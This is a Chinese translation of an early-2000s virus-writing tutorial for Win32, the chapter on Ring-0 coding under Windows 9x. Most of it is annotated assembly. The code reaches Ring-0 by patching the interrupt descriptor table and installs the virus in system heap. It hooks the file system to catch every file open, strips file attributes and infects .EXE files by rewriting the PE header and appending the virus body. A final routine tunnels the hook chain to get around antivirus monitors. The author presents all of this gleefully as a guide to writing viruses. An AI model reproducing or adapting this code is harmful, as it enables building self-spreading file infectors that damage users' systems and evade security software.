Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼

看雪資料發表於2004-05-28

【Ring-0,在上帝級編碼】
 ~~~~~~~~~~~~~~~~~~~~~~
    自由!你熱愛嗎?在Ring-0,我們在限制之外,那裡沒有任何限制。因為Micro$oft的無能,我們有很多的方法跳到這個級別,一個理論上不能到達的地方。但是,我們可以在Win9X系統中跳轉到Ring-0:)

    例如,Micro$oft的傻瓜們沒有保護中斷表。這在我的眼中是一個巨大的安全失敗。但話又說過來,如果我們可以利用它編寫病毒,它就不是一個錯誤了,它就是一個禮物!;)

% 來到 Ring-0 %
~~~~~~~~~~~~~~~
    好了,我將解釋在我看來最簡單的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一個固定的地址,所以我們必須使用指令來定位它,那就是SIDT。

----------------------------------------------------------------------------
 _______________________________________________________
|  SIDT - Store Interrupt Descriptor Table (286+ 專有)  |
|_______________________________________________________|

      + 用法:  SIDT    目標
      + 修改標記: 無

      儲存Interrupt Descriptor Table (IDT)暫存器到指定運算元中。

                                 Clocks                 Size
        Operands         808X  286   386   486          Bytes
        mem64              -    12    9     10            5

        0F 01 /1 SIDT mem64  Store IDTR to mem64

----------------------------------------------------------------------------

    如果我們使用SIDT還不夠清晰的話,它僅僅儲存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我們知道了IDT在哪裡,我們可以修改中斷向量,並使它們指向我們的程式碼。展示給你的是Micro$oft的蹩腳的程式碼編寫者。讓我們繼續我們的工作。在使中斷向量改變後指向我們的程式碼(並把它們儲存,以備以後恢復)之後,我們只要呼叫我們已經鉤住(hook)的中斷即可。如果看起來現在對你還不清晰,下面是透過修改IDT的方法來跳到Ring-0的程式碼。

;---------從這兒開始剪下----------------------------------------------------


        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

Interrupt        equ     01h            ; Nothing special

        .data

 szTitle         db      "Ring-0 example",0                 
 szMessage       db      "I'm alive and kicking ass",0

;------------------------------------------------------------------------------
;好了,這一段對你來說已經相當清晰了,是嗎? :)
;------------------------------------------------------------------------------

        .code

 start:
        push    edx
        sidt    [esp-2]                 ; Interrupt table to stack
        pop     edx
        add     edx,(Interrupt*8)+4     ; Get interrupt vector

;------------------------------------------------------------------------------
; 這相當簡單。SIDT,正如我以前解釋過的,把IDT的地址儲存到一個記憶體地址中,為了
; 我們的簡單起見,我們直接使用了堆疊。接下來是一個POP指令,它把IDT的偏移地址
; 裝載到暫存器(這裡為EDX)中。下一行是僅僅為了定位我們想要的中斷的偏移地址。這
; 就和在DOS下玩IVT一樣...
;------------------------------------------------------------------------------

        mov     ebx,[edx]
        mov     bx,word ptr [edx-4]     ; Whoot Whoot

;------------------------------------------------------------------------------
; 相當簡單。它僅僅是為了將來恢復,把EDX指向的內容儲存到EBX中
;------------------------------------------------------------------------------

        lea     edi,InterruptHandler

        mov     [edx-4],di
        ror     edi,16                  ; Move MSW to LSW
        mov     [edx+2],di

;------------------------------------------------------------------------------
; 我以前是不是說過了它有多簡單? :)這裡,我們給EDI指向新中斷處理的偏移地址,下
; 面的3行是把那個處理放到IDT中。為什麼那樣ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 沒關係,因為它僅僅把中斷處理偏移的MSW(More Significant Word)移到LSW (Less 
; Significant Word)中,然後儲存。
;------------------------------------------------------------------------------

        push    ds                      ; Safety safety safety...
        push    es

        int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!

        pop     es
        pop     ds

;------------------------------------------------------------------------------
;Mmmm...很有意思。我們為了安全起見,把DS和ES壓棧了,避免一些罕見的錯誤,但是
;它可以不用它工作,相信我。因為中斷已經被補丁過了,除了設定這個中斷之外,不用
;做其它任何事情了...現在我們已經在RING0裡了,下面的程式碼是繼續InterruptHandler
;------------------------------------------------------------------------------
 
        mov     [edx-4],bx              ; Restore old interrupt values
        ror     ebx,16                  ; ROR, SHR, SAR... who cares?
        mov     [edx+2],bx

 back2host:
        push    00h                     ; Sytle of MessageBox
        push    offset szTitle          ; Title of MessageBox
        push    offset szMessage        ; The message itself
        push    00h                     ; Handle of owner
        call    MessageBoxA             ; The API call itself

        push    00h
        call    ExitProcess

        ret

;------------------------------------------------------------------------------
;現在除了恢復原先的儲存在EBX中的中斷向量外,沒做其它更多的事情。然後,我們
;返回程式碼到主體。(好了,只是假設是那樣) ;)
;------------------------------------------------------------------------------

 InterruptHandler:                       
        pushad

        ; 下面是你的程式碼 :)

        popad
        iretd                           

 end start

;---------從這兒為止剪下----------------------------------------------------

     現在我們可以訪問它了。我想所有人都可以做它,但是現在對於普通病毒在第一次訪問Ring-0時又面臨一個問題:我們為什麼現在做呢?

% 在 Ring-0 下編寫病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
     我喜歡開始有一點點演算法的教程,所以你將來我們該怎樣在Ring-0編寫病毒的時候碰到一個。

----------------------------------------------------------------------
1.測試執行的作業系統(OS):如果NT,跳過病毒並返回目錄給主體
2.跳到Ring-0(IDT,VMM插入或呼叫門技術)
3.執行一箇中斷,它包含了感染程式碼。
 3.1.獲得一個放置病毒駐留的地方(開闢頁或者在堆中)
 3.2.把病毒放進去
 3.3.鉤住檔案系統並儲存舊的鉤子
  3.3.1.在FS Hook中,首先要儲存所有的引數並修復ESP
  3.3.2.引數壓棧
  3.3.3.然後檢查系統是否試圖開啟一個檔案,如果沒有,跳過
  3.3.4.如果試圖開啟,首先把檔名轉化成ASCII碼
  3.3.5.然後檢查是否是一個EXE檔案。如果不是,跳過感染
  3.3.6.開啟,讀檔案頭,操作,重寫,新增和關閉
  3.3.7.呼叫舊的鉤子
  3.3.8.跳過所有的返回到ESP的引數
  3.3.9.返回
 3.4.返回
4.恢復舊的中斷向量
5.返回控制權給主體
----------------------------------------------------------------------
    這個演算法有一點點大,無論如何我可以使它更概要,但是我更願意直接行動。OK,來吧,Let's go!

當檔案執行時測試作業系統
~~~~~~~~~~~~~~~~~~~~~~~~
    因為在NT下Ring-0有些問題(Super,解決它們!),我們必須我們所在的作業系統,如果不是Win9X平臺就返回控制權給主體。好了,有很多方法去做這個:

        + 使用 SEH
        + 檢查程式碼段的值

    好了,我假設你已經知道了怎麼玩SEH,對嗎?我在另外一章已經解釋了它的用法,所以現在是去讀一下它的時候了:)關於第二個可能的事情,下面是程式碼:

        mov     ecx,cs
        xor     cl,cl
        jecxz   back2host

    這個例子的解釋:在Windows NT中,程式碼段總是小於100h,而在Win95/98中總是大一些,所以我們清除它的低位位元組,而且如果它比100小,ECX將為0,反過來,如果它比100大,它將不會是0:)最佳化了,耶;)

%跳到Ring-0並執行中斷%
~~~~~~~~~~~~~~~~~~~~~~
    好了,已經在這個文件中的訪問Ring-0部分解釋了最簡單的方法,所以關於這個我就不多說了:)

%我們已經在Ring-0裡了...該做什麼呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    在Ring-0裡面,代之API,我們有VxD服務。VxD 服務以下面的形式訪問:

        int     20h
        dd      vxd_service

    vxd_service佔兩個字,MSW表明VxD號,而LSW表明我們從VxD中呼叫的函式。例如,我將使用VMM_PageModifyPermissions值:

        dd      0001000Dh
                ↑_____↑_____ Service  000Dh _PageModifyPermissions
                       |_______ VxD      0001h VMM

    所以,為了呼叫它,我們必須如下做:

        int     20h
        dd      0001000Dh

    一個非常聰明的編碼方式是編寫一個宏來自動做這個,並使號碼為EQUates。但是,那是你的選擇。這個值是固定的,所以,在Win95和Win98中一樣。不要擔心,Ring-0的一個好處是你不需要在Kernel中或其它地方搜尋偏移地址(當我們使用API的時候),因為沒有必要做它,必須硬編碼:)

    這裡我必須宣告一個我們在編寫一個Ring-0病毒的時候必須清除的非常重要的事情:int 20h和地址,我演示給你的訪問VxD的函式,在記憶體中如下:

        call    dword ptr [VxD_Service] ; 回撥服務

    你可以認為有點愚蠢,但是,它非常重要,而且真的很痛苦,因為病毒用這些CALL而不是int和服務的雙字偏移來複制到宿主,這使得病毒只能在你的計算機上執行,而不能在其他人的機器上執行:(在現實生活中,這個麻煩有許多解決方法。它們中的其中的一個,正如Win95.Padania所做的,在每個VxD呼叫後面修復它。另外的方法是:做一個所有的偏移地址的表來修復,直接做等等。下面是我的程式碼,而且你可以在我的Garaipena和PoshKiller中看到它:

 VxDFix:
        mov     ecx,VxDTbSz             ; 傳送例程的次數
        lea     esi,[ebp+VxDTblz]       ; 指向表的指標
 @lo0pz:lodsd                           ; 把當前表的偏移地址裝載到EAX中
        add     eax,ebp                 ; 加上delta 偏移
        mov     word ptr [eax],20CDh    ; 放到那個地址中
        mov     edx,dword ptr [eax+08h] ; 獲得 VxD 服務值
        mov     dword ptr [eax+02h],edx ; 並恢復它 
        loop    @lo0pz                  ; 校正另外一個
        ret

 VxDTblz        label   byte            ; 所有有VXD呼叫的偏移地址表
        dd      (offset @@1)            
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
        ; [...] 所有其它的呼叫VxD函式的指標必須列在這裡 :)

 VxDTbSz        equ     (($-offset VxDTblz)/4) ; 個數

    我希望你理解了每個我們呼叫的VxD函式必須有它的偏移地址。哦,我幾乎忘了另外一件重要的事情:如果你正在使用我的VxD修正過程,你的VxDCall宏該怎樣。下面給出:

 VxDCall macro  VxDService              
        local   @@@@@@
        int     20h                     ; CD 20                 +00h
        dd      VxDService              ; XX XX XX XX           +02h
        jmp     @@@@@@                  ; EB 04                 +06h
        dd      VxDService              ; XX XX XX XX           +08h
 @@@@@@:
        endm

    OK,現在我們需要一個駐留的地方。我個人偏向於放在net堆中,因為它很容易編寫(懶人的規則!)。

---------------------------------------------------------------------------
 **     IFSMgr_GetHeap - 開闢一塊net堆
 
      + 除非IFSMgr執行了SysCriticalInit,否則這個服務將不合法
 
      + 這個函式使用 C6 386 _cdecl 呼叫順序
 
  + 入口 -> TOS - 需要大小

  + 出口  -> EAX - 堆塊的地址,如果失敗為0

  + 使用  C 暫存器  (eax, ecx, edx, flags)
---------------------------------------------------------------------------

    以上是一些Win95 DDK的資訊。讓我們看看關於這個的例子:


 InterruptHandler:
        pushad                          ; Push 所有暫存器

        push    virus_size+1024         ; 我們需要的記憶體 (virus_size+buffer)
                                        ; 當你使用緩衝區的時候,更好
                                        ; 把它加上更多的位元組
 @@1:   VxDCall IFSMgr_GetHeap
        pop     ecx

    夠清楚了吧?正如DDK所說的,如果它失敗了,它將在EAX中返回給我們0,所以檢查可能的失敗。接下來的POP非常重要,因為VxD的大多數服務不修正堆疊,所以我們在呼叫VxD函式之前壓棧的值還在堆疊中。

        or      eax,eax                 ; cmp eax,0
        jz      back2ring3

    如果函式成功了,我們在EAX中得到了我們必須移動的病毒主體的地址,那麼Let's go!

        mov     byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

        mov     edi,eax                 ; Where move virus
        lea     esi,ebp+start           ; What to move
        push    eax                     ; Save memory address for later
        sub     ecx,1024                ; We move only virus_size
        rep     movsb                   ; Move virus to its TSR location ;)
        pop     edi                     ; Restore memory address

    我們在一個記憶體地址中的是病毒,準備TSR的,對嗎?而且在EDI中是病毒在記憶體中開始的地址,所以我們可以把它作為下個函式的delta offset:)好了,我們現在需要hook檔案系統了對嗎?OK,有一個函式可以做這個工作。很驚訝,是把? Micro$oft微軟工程師為我們做了累活。

---------------------------------------------------------------------------
 **     IFSMgr_InstallFileSystemApiHook - 安裝一個檔案系統 api hook

    這個服務為呼叫者安裝一個檔案系統api hook。這個hook在IFS manager 和一個FSD之間,鉤子可以看任何IFS manager對FSD的任何呼叫。

    這個函式使用C6 386 _cdecl 呼叫順序
        ppIFSFileHookFunc
                IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
 
  入口 TOS - 將要安裝作為鉤子的函式的地址
 
  出口  EAX - 指向在這個鏈中的包含以前鉤子的地址變數
              
  使用  C 暫存器  

---------------------------------------------------------------------------

    清楚了吧?如果不,我希望你在看了一些程式碼之後,理解了它。好了,讓我們鉤住檔案系統(hook FileSystem)...


        lea     ecx,[edi+New_Handler]   ; (vir address in mem + handler offs)
        push    ecx                     ; Push it 

 @@2:   VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

        pop     ecx                     ; Don't forget this, guy
        mov     dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

 back2ring3:
        popad
        iretd                           ; return to Ring-3. Yargh

    好了,我們已經看完了Ring-0病毒的安裝部分。現在,我們必須編寫檔案系統(FileSystem)的處理部分了:)簡單,但是否如你所想?:)

FileSystem Handler:真正有趣!!!

    耶,下面是駐留感染它自己,但是我們在開始之前不得不做些事情。首先,我們必須對堆疊做一個安全複製,也就是說儲存ESP內容到EBP暫存器中。然後,我們應該把ESP減去20h,為了修正堆疊指標。讓我們看看一些程式碼:

 New_Handler equ  $-(offset virus_start)
 FSA_Hook:
        push    ebp                     ; Save EBP content 4 further restorin
        mov     ebp,esp                 ; Make a copy of ESP content in EBP
        sub     esp,20h                 ; And fix the stack

    現在,因為我們的函式要被系統用一些引數呼叫,我們應該push它們,就像原先的處理程式所做的。要push的引數從EBP+08h到EBP+1Ch,包含它們,並和IOREQ結構相關。

        push    dword ptr [ebp+1Ch]     ; pointer to IOREQ structure.
        push    dword ptr [ebp+18h]     ; codepage that  the  user string was
                                        ; passed in on.
        push    dword ptr [ebp+14h]     ; kind of  resource the operation  is
                                        ; being performed on.
        push    dword ptr [ebp+10h]     ; the 1-based  drive the operation is
                                        ; being performed on (-1 if UNC).
        push    dword ptr [ebp+0Ch]     ; function  that  is being performed.
        push    dword ptr [ebp+08h]     ; address  of the  FSD function  that
                                        ; is to be called for this API.
    現在,我們已經把應該push的引數push到正確的地方了,所以對它們不要再擔心了。現在,我們必須檢查你將要操作的IFSFN函式。下面你得到的是最重要的小列表:

-------------------------------------------------------------------------------
 ** 傳送給 IFSMgr_CallProvider 的IFS函式ID

 IFSFN_READ         equ         00h     ; read a file
 IFSFN_WRITE        equ         01h     ; write a file
 IFSFN_FINDNEXT     equ         02h     ; LFN handle based Find Next
 IFSFN_FCNNEXT      equ         03h     ; Find Next Change Notify
 IFSFN_SEEK         equ         0Ah     ; Seek file handle
 IFSFN_CLOSE        equ         0Bh     ; close handle
 IFSFN_COMMIT       equ         0Ch     ; commit buffered data for handle
 IFSFN_FILELOCKS    equ         0Dh     ; lock/unlock byte range
 IFSFN_FILETIMES    equ         0Eh     ; get/set file modification time
 IFSFN_PIPEREQUEST  equ         0Fh     ; named pipe operations
 IFSFN_HANDLEINFO   equ         10h     ; get/set file information
 IFSFN_ENUMHANDLE   equ         11h     ; enum file handle information
 IFSFN_FINDCLOSE    equ         12h     ; LFN find close
 IFSFN_FCNCLOSE     equ         13h     ; Find Change Notify Close
 IFSFN_CONNECT      equ         1Eh     ; connect or mount a resource
 IFSFN_DELETE       equ         1Fh     ; file delete
 IFSFN_DIR          equ         20h     ; directory manipulation
 IFSFN_FILEATTRIB   equ         21h     ; DOS file attribute manipulation
 IFSFN_FLUSH        equ         22h     ; flush volume
 IFSFN_GETDISKINFO  equ         23h     ; query volume free space
 IFSFN_OPEN         equ         24h     ; open file
 IFSFN_RENAME       equ         25h     ; rename path
 IFSFN_SEARCH       equ         26h     ; search for names
 IFSFN_QUERY        equ         27h     ; query  resource info (network only)
 IFSFN_DISCONNECT   equ         28h     ; disconnect from resource (net only)
 IFSFN_UNCPIPEREQ   equ         29h     ; UNC path based named pipe operation
 IFSFN_IOCTL16DRIVE equ         2Ah     ; drive based 16 bit IOCTL requests
 IFSFN_GETDISKPARMS equ         2Bh     ; get DPB
 IFSFN_FINDOPEN     equ         2Ch     ; open an LFN file search
 IFSFN_DASDIO       equ         2Dh     ; direct volume access

-------------------------------------------------------------------------------

    對我們來說的第一件事,我們感興趣的唯一的函式是24h,那就是說開啟。系統幾乎每時每刻都在呼叫那個函式,所以對它沒有任何問題。為這個編碼就和你能想象的一樣簡單:)

        cmp     dword ptr [ebp+0Ch],24h ; Check if system opening file
        jnz     back2oldhandler         ; If not, skip and return to old h.

     現在開始有意思的。我們知道這裡系統請求檔案開啟,所以現在該我們了。首先,我們應該檢查我們是否在進行我們自己的呼叫...簡單,僅僅加一個小變數,它將出現一些問題。Btw,我幾乎忘了,獲得delta offset :)

        pushad
        call    ring0_delta             ; Get delta offset of this
 ring0_delta:
        pop     ebx
        sub     ebx,offset ring0_delta

        cmp     byte ptr [ebx+semaphore],00h ; Are we the ones requesting 
        jne     pushnback               ; the call?

        inc     byte ptr [ebx+semaphore] ; For avoid process our own calls
        pushad
        call    prepare_infection       ; We'll see this stuff later
        call    infection_stuff
        popad
        dec     byte ptr [ebx+semaphore] ; Stop avoiding :)

 pushnback:
        popad

    現在我將繼續介紹處理程式本身,然後,我將解釋我是怎麼做這些例程的,prepare_infection 和 infection_stuff。如果系統正在請求一個呼叫,我們就退出我們將要處理的例程,OK?現在,我們必須編寫呼叫舊的FileSystem hook的例程。當你還記得(我假設你沒有alzheimer),我們push了所有引數,所以我們該做的唯一的事情是裝到暫存器中,舊地址沒關係,然後呼叫那個記憶體位置。然後,我們把ESP加18h(為了能夠獲得返回地址),完了。你將最好看看一些程式碼,所以,你將看到:

 back2oldhandler:
        db      0B8h                    ; MOV EAX,imm32 opcode
 Old_Handler    equ  $-(offset virus_start)
        dd      00000000h               ; here goes the old handler.
        call    [eax]
        add     esp,18h                 ; Fix stack (6*4)
        leave                           ; 6 = num. paramz. 4 = dword size.
        ret                             ; Return

感染準備
^^^^^^^^
    這是Ring-0程式碼的主要部分的一方面。讓我們現在看看Ring-0編寫程式碼的細節。當我們在鉤子處理中的時候,有兩個呼叫,對嗎?這不是必須的,但是我為了使程式碼更簡單,那麼做了,因為我喜歡使事情結構化。

    在第一次呼叫的時候,我呼叫的prepare_infection僅僅因為一個原因做了一件事情。系統作為一個引數給我們的檔名,但是我們有一個問題。系統以UNICODE形式給我們的,而且對我們來說它沒有什麼用。所以,我們需要把它轉換成ASCII碼,對嗎?我們有一個VxD服務可以為我們做這件事。它的名字:UniToBCSParh。下面是你喜歡的原始碼。

 prepare_infection:
        pushad                          ; Push all
        lea     edi,[ebx+fname]         ; Where to put ASCII file name
        mov     eax,[ebp+10h]   
        cmp     al,0FFh                 ; Is it in UNICODE?
        jz      wegotdrive              ; Oh, yeah!
        add     al,"@"                  ; Generate drive name
        stosb
        mov     al,":"                  ; Add a :
        stosb
 wegotdrive:
        xor     eax,eax
        push    eax                     ; EAX = 0 -> Convert to ASCII
        mov     eax,100h
        push    eax                     ; EAX = Size of string to convert
        mov     eax,[ebp+1Ch]
        mov     eax,[eax+0Ch]           ; EAX = Pointer to string
        add     eax,4
        push    eax
        push    edi                     ; Push offset to file name

 @@3:   VxDCall UniToBCSPath

        add     esp,10h                 ; Skip parameters returnet
        add     edi,eax 
        xor     eax,eax                 ; Make string null-terminated
        stosb
        popad                           ; Pop all
        ret                             ; Return

感染本身
^^^^^^^^
    下面我將告訴你怎樣到達直到你你必須的應用感染後的檔案應該有的新的PE頭和節頭的值。但是,我不會解釋怎麼操作它們了,不是因為我懶,僅僅是因為這是Ring-0程式碼編寫一章,而不是PE感染一章。這個部分和FileSystem 鉤子程式碼的infection_stuff 部分相符。首先,我們必須檢查我們將要操作的檔案是否是一個.EXE檔案還是其它不感興趣的檔案。所以,首先,我們必須在檔名字裡尋找0值,它告訴我們它的末尾。這編寫起來很簡單:

 infection_stuff:
        lea     edi,[ebx+fname]         ; Variable with the file name
 getend:
        cmp     byte ptr [edi],00h      ; End of filename?
        jz      reached_end             ; Yep
        inc     edi                     ; If not, search for another char
        jmp     getend
 reached_end:

    我們在EDI裡是ASCII字串裡的0值,正如你知道的,它標誌著字串的結尾,也就是在這種情況下,檔名。下面是我們的主要檢查,看看它是否是一個.EXE檔案,如果它不是,跳過感染。我們還可以檢查.SCR(Windows屏保),正如你知道的,它們也是可執行檔案...這就是你的選擇。下面給你一些程式碼:

        cmp     dword ptr [edi-4],"EXE." ; Look if extension is an EXE
        jnz     notsofunny

    正如你能看到的,我比較了EDI-5次。

    現在我們知道了那個檔案是一個EXE檔案:)所以該是移除它的屬性,開啟檔案,修改相關域,關閉檔案並恢復屬性的時候了。所有這些函式由另外一個IFS服務完成,那就是IFSMgr_Ring0_FileIO。我沒有找到關於全部這個的文件,總之也沒有必要,它有很多的函式,正如我以前所說的,所有我們需要函式僅僅是為了進行檔案感染。讓我們VxD服務IFSMgr_Ring0_FileIO傳送到EAX中的數值:

-----------------------------------------------------------------------
;函式定義在ring-0的API函式列表中:
;說明:大多數函式是上下文相關的,除非被明確的規定了,也就是說,它們不使用當前執行緒的上下文。;R0_LOCKFILE是唯一的例外-它總是使用當前執行緒的上下文。

 R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
 R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current contxt
 R0_READFILE             equ     0D600h  ; Read a file, no context
 R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
 R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
 R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
 R0_CLOSEFILE            equ     0D700h  ; Close a file
 R0_GETFILESIZE          equ     0D800h  ; Get size of a file
 R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
 R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
 R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
 R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
 R0_RENAMEFILE           equ     05600h  ; Rename a file
 R0_DELETEFILE           equ     04100h  ; Delete a file
 R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
 R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
 R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
 R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write
 -----------------------------------------------------------------------

    迷人的函式,是吧?:)如果我們看看,它提醒了我們DOS int 21h函式。但是這個更好:)

    好了,讓我們儲存舊的檔案屬性。正如你能看到的,這個函式是在我以前給你的列表中的,我們把這個引數(4300h)放到EAX中為了獲得檔案的屬性到ECX中。所以,在那之後,我push它和檔名,它在ESI中。

        lea     esi,[ebx+fname]         ; Pointer to file name
        mov     eax,R0_FILEATTRIBUTES   ; EAX = 4300h
        push    eax                     ; Save it goddamit
        VxDCall IFSMgr_Ring0_FileIO     ; Get attributes
        pop     eax                     ; Restore 4300h from stack
        jc      notsofunny              ; Something went wrong (?)

        push    esi                     ; Push pointer to file name
        push    ecx                     ; Push attributes

    現在我們必須把它們去掉。沒問題。設定檔案屬性的函式是,以前在IFSMgr_Ring0_FileIO中,但是現在是4301h。就像你在DOS下看到的這個值:) 

        inc     eax                     ; 4300h+1=4301h :)
        xor     ecx,ecx                 ; No attributes sucker!
        VxDCall IFSMgr_Ring0_FileIO     ; Set new attributes (wipe'em)
        jc      stillnotsofunny         ; Error (?!)

    現在我們有一個沒有屬性的等著我們的檔案了...我們該做什麼呢?呵呵,我認為你是聰明的。讓我們開啟它!:)就像所有病毒中的這個部分一樣,我們不得不呼叫IFSMgr_Ring0_FileIO,但是現在為開啟檔案傳送到EAX中的是D500h。

        lea     esi,[ebx+fname]         ; Put in ESI the file name
        mov     eax,R0_OPENCREATFILE    ; EAX = D500h
        xor     ecx,ecx                 ; ECX = 0
        mov     edx,ecx
        inc     edx                     ; EDX = 1
        mov     ebx,edx
        inc     ebx                     ; EBX = 2
        VxDCall IFSMgr_Ring0_FileIO
        jc      stillnotsofunny         ; Shit.

        xchg    eax,ebx                 ; Optimize a bit, sucka! :)

    現在我們在EBX中的是開啟檔案的控制程式碼,所以如果你在檔案關閉之前不使用這個檔案將會完美,好嗎?:)現在該是你讀PE檔案頭並儲存它(和操作它)的時候了,然後更新檔案頭,附加上病毒...這裡我將僅僅解釋怎樣處理PE頭的屬性,因為它是這個教程的另外一部分了,而且我不想太多重複。我打算解釋如何把PE頭儲存到我們的緩衝區中。它相當簡單:如果你還記得,PE頭從偏移地址3Ch(當然是從BOF開始)開始。然後我們必須讀4位元組(這個3Ch處的DWORD),並在這個偏移地址處再次讀,這次,是400h位元組,足夠處理整個PE頭了。正如你能想象的,讀檔案中的函式是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前給你的表中的正確號碼,在R0_READFILE中。傳遞給這個函式的引數如下:

 EAX = R0_READFILE = D600h
 EBX = File Handle
 ECX = Number of bytes to read
 EDX = Offset where we should read
 ESI = Where will go the read bytes

        call    inf_delta               ; 如果你還記得,我們在EBX中是delta offset
inf_delta:                              ; 但是開啟檔案之後,我們在EBX中是檔案的控制程式碼
        pop     ebp                     ; 所以我們必須重新計算它。
        sub     ebp,offset inf_delta    ; 

        mov     eax,R0_READFILE         ; D600h
        push    eax                     ; Save it for later
        mov     ecx,4                   ; Bytes to read, a DWORD
        mov     edx,03Ch                ; Where read (BOF+3Ch)
        lea     esi,[ebp+pehead]        ; There goez the PE header offzet
        VxDCall IFSMgr_Ring0_FileIO     ; The VxDCall itself

        pop     eax                     ; restore R0_READFILE from stack

        mov     edx,dword ptr [ebp+pehead] ; Where the PE header begins
        lea     esi,[ebp+header]        ; Where write the read PE header
        mov     ecx,400h                ; 1024 bytes, enough for all PE head.
        VxDCall IFSMgr_Ring0_FileIO
 
    現在我們透過看它的標誌要看看我們剛才開啟的檔案是否是一個PE檔案。我們在ESI中的是指向我們放置PE頭的緩衝區,所以只要把ESI中的第一個DWORD和PE,0,0作比較即可(或者簡單的用WORD和PE進行比較) ;)

        cmp     dword ptr [esi],"EP"    ; 它是PE嗎?
        jnz     muthafucka

    現在你該檢查以前的感染了,如果以前已經感染過了,只要到諸如關閉檔案的地方即可。正如我以前所說的,我將跳過修改PE頭的程式碼,因為假設你已經知道怎麼做了。好了,想象一些你已經合適地修改了緩衝區裡的PE頭(在我的程式碼裡,變數叫做header)。現在該是把新的頭寫到PE檔案裡的時候了。暫存器裡的值應該是和
R0_READFILE函式差不多的,我將這樣寫它們:

 EAX = R0_WRITEFILE = D601h
 EBX = File Handle
 ECX = Number of bytes to write
 EDX = Offset where we should write
 ESI = Offset of the bytes we want to write

        mov     eax,R0_WRITEFILE                ; D601h
        mov     ecx,400h                        ; write 1024 bytez (buffer)
        mov     edx,dword ptr [ebp+pehead]      ; where to write (PE offset)
        lea     esi,[ebp+header]                ; Data to write
        VxDCall IFSMgr_Ring0_FileIO

    我們已經寫完了頭。現在,我們只要新增病毒即可。我決定把它添在EOF目錄中,因為我的修改PE的方式...好了,我是用這種方法做的。但是不要擔心,應用的的感染方法是很簡單的,因為我假設你已經理解它是怎麼工作的了。就在附加病毒主體之前,記住我們應該修正所有的VxDCall,因為它們在呼叫的時候在記憶體中已經改變了。記住,我在這篇教程裡面教給你的VxD修正過程。另外,當我們在EOF處新增的時候,我們應該知道它佔多少位元組。相當簡單,我們在IFSMgr_Ring0_FileIO中有一個函式(為什麼不呢!)來做這個工作:R0_GETFILESIZE讓我們看看它的輸入引數:

 EAX = R0_GETFILESIZE = D800h
 EBX = File Handle

    在EAX中返回給我們的是控制程式碼對應的檔案的大小,也就是我們試圖感染的檔案。

        call    VxDFix                          ; Re-make all INT 20h's

        mov     eax,R0_GETFILESIZE              ; D800h
        VxDCall IFSMgr_Ring0_FileIO     
                                                ; EAX = File size
        mov     edx,R0_WRITEFILE                ; EDX = D601h
        xchg    eax,edx                         ; EAX = D601; EDX = File size
        lea     esi,[ebp+virus_start]           ; What to write
        mov     ecx,virus_size                  ; How much bytez to write
        VxDCall IFSMgr_Ring0_FileIO

    只剩下一些事情去做了。只要關閉檔案並恢復它的舊的屬性即可。當然關閉檔案的函式是我們熱愛的IFSMgr_Ring0_FileIO了,現在是函式D700h。讓我們看看它的輸入引數:

 EAX = R0_CLOSEFILE = 0D700h
 EBX = File Handle

    現在是它的程式碼:

 muthafucka:
        mov     eax,R0_CLOSEFILE
        VxDCall IFSMgr_Ring0_FileIO

    好了,只剩下一件事情去做了。恢復舊的屬性。

 stillnotsofunny:
        pop     ecx                             ; Restore old attributos
        pop     esi                             ; Restore ptr to FileName
        mov     eax,4301h                       ; Set attributes function
        VxDCall IFSMgr_Ring0_FileIO

 notsofunny:
        ret

    終於完了! :) 另外,所有的這些"VxDCall IFSMgr_Ring0_FileIO"最好在一個子例程中,用一個簡單的call來呼叫它:它更最佳化了(如果你你使用我給你的VxDCall宏),它更好是因為只要把一個偏移放在VxDFix的表中就可以了。

%反VxD監視程式碼%
~~~~~~~~~~~~~~~
    我必須不能忘記發現這個的人:Super/29A。此外,我應該解釋這個東西是怎麼回事。它和已經見過的InstallFileSystemApiHook服務有關,但是它沒有被Micro$oft寫成文件。InstallFileSystemApiHook服務返回給我們一個有意思的結構:

 EAX + 00h -> Address of previous handler
 EAX + 04h -> Hook_Info structure

    而且正如你所想的,最重要的是Hook_Info 結構:

 00h -> 鉤子處理的地址, 這個結構的第一個
 04h -> 先前鉤子處理的地址
 08h -> 先前鉤子的Hook_Info的地址

    所以,我們對這個結構進行遞迴搜尋直到找到了第一個,被監視程式使用的鏈的頂部...然後我們必須修改它。程式碼?下面給出一部分 :)

 ; EDI = Points to virus copy in system heap

        lea     ecx,[edi+New_Handler]           ; Install FileSystem Hook
        push    ecx
@@2:    VxDCall IFSMgr_InstallFileSystemApiHook
        pop     ecx

        xchg    esi,eax                         ; ESI = Ptr actual hook
                                                ;       handler
        push    esi
        lodsd ; add esi,4                       ; ESI = Ptr to Hook Handler
tunnel: lodsd                                   ; EAX = Previous Hook Handler
                                                ; ESI = Ptr to Hook_Info
        xchg    eax,esi                         ; Very clear :)

